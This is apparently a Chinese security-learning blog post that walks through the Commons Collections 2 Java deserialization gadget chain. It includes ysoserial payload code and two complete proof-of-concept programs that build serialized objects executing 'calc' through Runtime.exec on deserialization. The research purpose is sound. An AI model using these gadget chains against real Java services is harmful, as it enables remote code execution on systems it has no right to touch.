Commons Collections 2 调用链
前言:在RMI反序列化的学习路途中,对于RegistryImpl_Skel类的调试无法进行,但是在jdk1.8中该类可以进行调试,但是此时的我还只会cc1链,但是发现在cc1的利用链中是有版本的限制的。在JDK1.8 8u71版本以后,对AnnotationInvocationHandler的readobject进行了改写。导致高版本中利用链无法使用,所以在高版本的漏洞复现的时候就需要学习cc2!
2021.6.3 学完了javassist又回来学习了cc2,看看能不能走通一遍
什么是javassist
javassist是一个开源的分析、编辑和创建Java字节码的类库。其主要的优点,在于简单,而且快速。直接使用 java编码的形式,而不需要了解虚拟机指令,就能动态改变类的结构,或者动态生成类。
几个重要的Javassist类对象:
ClassPool:一个基于Hashtable实现的CtClass对象容器,其中键名是类名称,值是表示该类的CtClass对象。
CtClass:CtClass表示类,一个CtClass(编译时类)对象可以处理一个class文件,这些CtClass对象可以从ClassPool获得。
CtMethods:表示类中的方法。
CtFields:表示类中的字段。
参考文章:https://www.cnblogs.com/rickiyang/p/11336268.html
关于javassist我另外写了一篇笔记来进行记录,地址是 https://www.cnblogs.com/zpchcbd/p/14835338.html
反序列化复现
payload还是用ysoserial来进行生成
命令:java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 "calc.exe" > cc2.txt
public static void deserialize() {
try {
ObjectInputStream is = new ObjectInputStream(new FileInputStream("cc2.txt"));
is.readObject();
} catch (Exception e) {
e.printStackTrace();
}
}
接着通过readObject来进行反序列化触发

命令成功执行

接下来就开始分析学习cc2的调用过程
Commons Collections 2 调用链
ysoserial中的反序列化链
/*
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
*/
一个反序列化的点,然后就是PriorityQueue位置起手,我们来到PriorityQueue的位置进行观察,这里的话需要先介绍下PriorityQueue这个对象,它是一个队列!
PriorityQueue是一个基于优先级的无界优先级队列。优先级队列的元素按照其自然顺序进行排序,或者根据构造队列时提供的 Comparator 进行排序,具体取决于所使用的构造方法。
PriorityQueue不允许使用 null 元素也不允许插入不可比较的对象(没有实现Comparable接口的对象)。
PriorityQueue队列的头指排序规则最小的元素。如果多个元素都是最小值则随机选一个。
PriorityQueue是一个无界队列,但是初始的容量(实际是一个Object[]),随着不断向优先级队列添加元素,其容量会自动扩容,无需指定容量增加策略的细节。
上面讲到的按照自然排序进行排序,“自然排序”是如何排序的?这里拿PriorityQueue来举个例子观察,代码如下:
public static void main(String[] args) {
PriorityQueue priorityQueue = new PriorityQueue(2);
priorityQueue.add(2);
priorityQueue.add(1);
System.out.println(priorityQueue.poll());
System.out.println(priorityQueue.poll());
}
如下图可以看到,那么排序的话也可以从小到大来进行排序,队列中先获取的是比较小的!

接着开始分析,这里就来到PriorityQueue的反序列化函数readobject的位置,也就是 readObject:783, PriorityQueue
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();
// Read in (and discard) array length
s.readInt();
SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size);
queue = new Object[size];
// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();
// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}

先是defaultReadObject,反序列化非静态非瞬态字段,接着通过一个queue变量名的数组存储了两个大小的对象数组,接着就是通过readObject反序列化出一个TemplatesImpl类对象和一个Integer类对象

继续走就是进入了hapify方法中,本来数量size只有两个,右移一位则为1,那么这里就是循环一次
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}

接着进入siftDown方法,这里面存在两个方法,一个是siftDownUsingComparator,一个是siftDownComparable,走的分支取决于comparator是否存在
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}

这里是存在的,那么则进入siftDownUsingComparator方法,这里最终来到如下,接着就是看着看一种排序的方法,然后最终会来到compare方法中
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}
对于ysoserial中的poc来说,走的是下面的分支

这里会发现来到了compare方法中,这个compare方法是存在于TransformingComparator这个类中,可以看到它会去调用transform这个方法,到了这里会不会感觉有点熟悉,在CC1链中的InvokerTransform中执行命令的函数也是通过这个方法,那ysoserial它会怎么利用?
public int compare(final I obj1, final I obj2) {
final O value1 = this.transformer.transform(obj1);
final O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}

接着继续跟,果不其然它真的进到了InvokerTransform方法中去来进行调用执行任意方法的操作,这里传进来类对象是一个叫TemplatesImpl类的对象,为什么要传入这个对象?它通过InvokerTransform是获取了什么东西来进行利用的?

这里可以看到,这个TemplatesImpl类对象它获取的方法是一个无参的newTransformer,这个有什么作用?会不会跟链式调用有关,因为如果没有链式调用的话,目前单单通过InvokerTransform是不能直接命令执行,所以这里面的newTransformer肯定干了一些操作来,继续往下跟
接着通过反射来到了newTransformer的方法中,可以发现它有点像链式调用,这个方法newTransformer又重新实例化了一个TemplatesImpl的类,构造参数有四个
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);
if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}
if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}

先看该函数的第一个参数,它是通过getTransletInstance(),他这里会再进到defineTransletClasses(),通过名字可以知道应该是通过字节码实例化了对象

获得了如下两个Class

接着进行Class实例化newInstance()来进行命令执行

接着继续回过头来看下这个调用链
/*
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
*/
我们简单的捋下上面分析的过程
PriorityQueue起手的反序列化(反序列化的起点)
PriorityQueue的构造函数的Comparator需要为TransformingComparator(为的是PriortyQueue中进行排序的时候调用comparator.compare这个函数的时候需要使用,把那个且TransformingComparator这个对象中能让我们进一步的向执行命令的方法靠去)
进一步的向执行命令的方法靠去是什么意思?你可以看下TransformingComparator这个类,能够利用起InvokerTransfomr任意方法调用

所以在TransformingComparator这个对象中的transformer属性我们也需要为InvokerTransformer这个对象
那么在InvokerTransformer调用transform的时候,虽然是任意方法调用,但是如何才能实现命令执行的效果?
这里就用到了一个名为 TransformerImpl 的类,这个类中的newTransformer方法
主要的代码:TransformerImpl transformer = new TransformerImpl(this.getTransletInstance(), this._outputProperties, this._indentNumber, this._tfactory);
因为这个TransformerImpl的newTransformer自己又会去实例化一个TransformerImpl对象,让我们能够想着链式调用的过程去靠
这里最重要的就是第一个参数是,它是一个函数this.getTransletInstance(),这个函数又会调用this.defineTransletClasses() 这个函数

其中defineTransletClasses会通过一个当前对象的_bytecodes属性中存储的字节码来进行实例化Class

那么如果我们控制了这个Class的字节码,那么对应实例化的Class对象就放在当前的_class数组中,最后通过下面的newInstance实例化类对象来实现命令执行

当然这里的字节码我们需要进行构造,来看下在ysoserial是如何构造的,多分析学习,争取以后自己可以!
到来相关的CommonsCollections2利用链中,如下代码所示
public class CommonsCollections2 implements ObjectPayload<Queue<Object>> {
public Queue<Object> getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
// mock method name until armed
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
// stub data for replacement later
queue.add(1);
queue.add(1);
// switch method called by comparator
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
// switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = 1;
return queue;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections2.class, args);
}
}
这里关注final Object templates = Gadgets.createTemplatesImpl(command);
因为我们要的TemplatesImpl中的如何构造的字节码就在这其中,这里用到了三个类,
public static Object createTemplatesImpl ( final String command ) throws Exception {
if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
return createTemplatesImpl(
command,
Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
}
return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}
它又调用了一个参数不同的createTemplatesImpl函数,这个才是真正的主角,代码如下
public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
throws Exception {
final T templates = tplClass.newInstance();
// use template gadget class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
"\");";
clazz.makeClassInitializer().insertAfter(cmd);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);
final byte[] classBytes = clazz.toBytecode();
// inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes, ClassFiles.classAsBytes(Foo.class)
});
// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
}
使用javassist修改字节码,javassist是一个使用广泛的修改字节码的库,另外还有两个常用的库是asm和cglib。
上面代码做了几件事:
1、实例化一个org.apache.xalan.xsltc.trax.TemplatesImpl -- templates,其成员_bytecodes可以放置字节码;
2、获取 StubTransletPayload( 继承org.apache.xalan.xsltc.runtime.AbstractTranslet)字节码,并插入命令执行的字节码;
3、通过反射,设置templates私有成员变量的值,其中_bytecodes正是装载插入了执行我们执行命令的StubTransletPayload字节码。
最终_bytecodes属性中的构造通过反编译则显示如下:

如果原生代码表示的话就是如下代码所示
package com.zpchcbd.cc2;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Base64;
import java.util.Comparator;
import java.util.PriorityQueue;
public class TestTemplateImpl {
public static void main(String[] args) throws Exception {
ClassPool classpool = ClassPool.getDefault();
classpool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
//拿到Exploit
CtClass class_s = classpool.get(Exploit.class.getName());
//拿到AbstractTranslet
CtClass class_f = classpool.get(Class.forName("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet").getName());
//设置父类(过if)
class_s.setSuperclass(class_f);
class_s.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"calc\");");
// 写入本地文件测试
//class_s.writeFile("./");
// 获取TemplatesImpl
Class template_impl = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Constructor constructor= template_impl.getConstructor();
Object temp = constructor.newInstance();
// 填充TemplatesImpl的_name字段
Field name = template_impl.getDeclaredField("_name");
name.setAccessible(true);
name.set(temp,"zpchcbd_test");
// 填充TemplatesImpl的_bytecodes字段
Field bytecode = template_impl.getDeclaredField("_bytecodes");
bytecode.setAccessible(true);
bytecode.set(temp,new byte[][]{class_s.toBytecode()});
PriorityQueue priorityQueue = new PriorityQueue();
priorityQueue.add(1);
priorityQueue.add(2);
InvokerTransformer newTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
Comparator transformingComparator = new TransformingComparator(newTransformer);
Field field_queue = PriorityQueue.class.getDeclaredField("queue");
field_queue.setAccessible(true);
Object[] innerArr = (Object[]) field_queue.get(priorityQueue);
innerArr[0] = temp;
innerArr[1] = temp;
Field field_comparator = PriorityQueue.class.getDeclaredField("comparator");
field_comparator.setAccessible(true);
field_comparator.set(priorityQueue,transformingComparator);
serialize(priorityQueue);
unserialize();
}
public static void serialize(Object obj) throws Exception{
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.bin"));
objectOutputStream.writeObject(obj);
}
public static void unserialize() throws Exception{
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.bin"));
objectInputStream.readObject();
}
}

最后的问题
1、那么为什么不在TransformingComparator承载ChainedTransformer来进行链式调用呢?同样是可以的!
/*
* 基于数组的形式调用
* */
public class CommonsCollections2 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class },
new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] { "calc.exe" }),
};
Transformer transformerChain = new
ChainedTransformer(fakeTransformers);
Comparator comparator = new
TransformingComparator(transformerChain);
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(2);
setFieldValue(transformerChain, "iTransformers", transformers);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
2、CC1为什么在commons-collections-4.0用不了?是真的用不了吗?
如下的一句话参考了:https://www.cnblogs.com/nice0e3/p/13860621.html
CC2链中使用的是commons-collections-4.0版本,但是CC1在commons-collections-4.0版本中其实能使用,但是commons-collections-4.0版本删除了lazyMap的decode方法,但是我们其实还是可以使用lazyMap方法来代替(这里面的内容在java安全漫谈中有提及)

3、为什么CC2链中使用commons-collections-4.0,而3.1版本不能去使用?
在中间查阅了一些资料,发现在3.1-3.2.1版本中TransformingComparator并没有去实现Serializable接口,也就是说这是不可以被序列化的。所以在利用链上就不能使用他去构造。
3.1.2:

4.0:

4、为什么要先add两个1?
原因在于PriorityQueue#add() 方法会对 PriorityQueue的成员变量size进行加1处理。而PriorityQueue在反序列化的过程中(readObject()->heapify()->siftDown()) 会对这个成员变量size的值进行判断。如果前面没有先两次add(1), 那么size的值就是0,反序列化的时候不会触发利用链。
参考文章:https://y4er.com/post/ysoserial-commonscollections-2/
参考文章:https://xz.aliyun.com/t/1756
tabby反序列化链挖掘
source:java.util.PriorityQueue#readObject
chain:
sink:org.apache.commons.collections4.functors.InvokerTransformer#transform
match (source:Method) where source.NAME="readObject"
match (m1:Method) where m1.NAME="transform" and m1.CLASSNAME="org.apache.commons.collections4.functors.InvokerTransformer"
call apoc.algo.allSimplePaths(m1, source, "<CALL|ALIAS", 7) yield path
where any(n in nodes(path) where n.CLASSNAME="java.util.PriorityQueue")
return * limit 50


浙公网安备 33010602011771号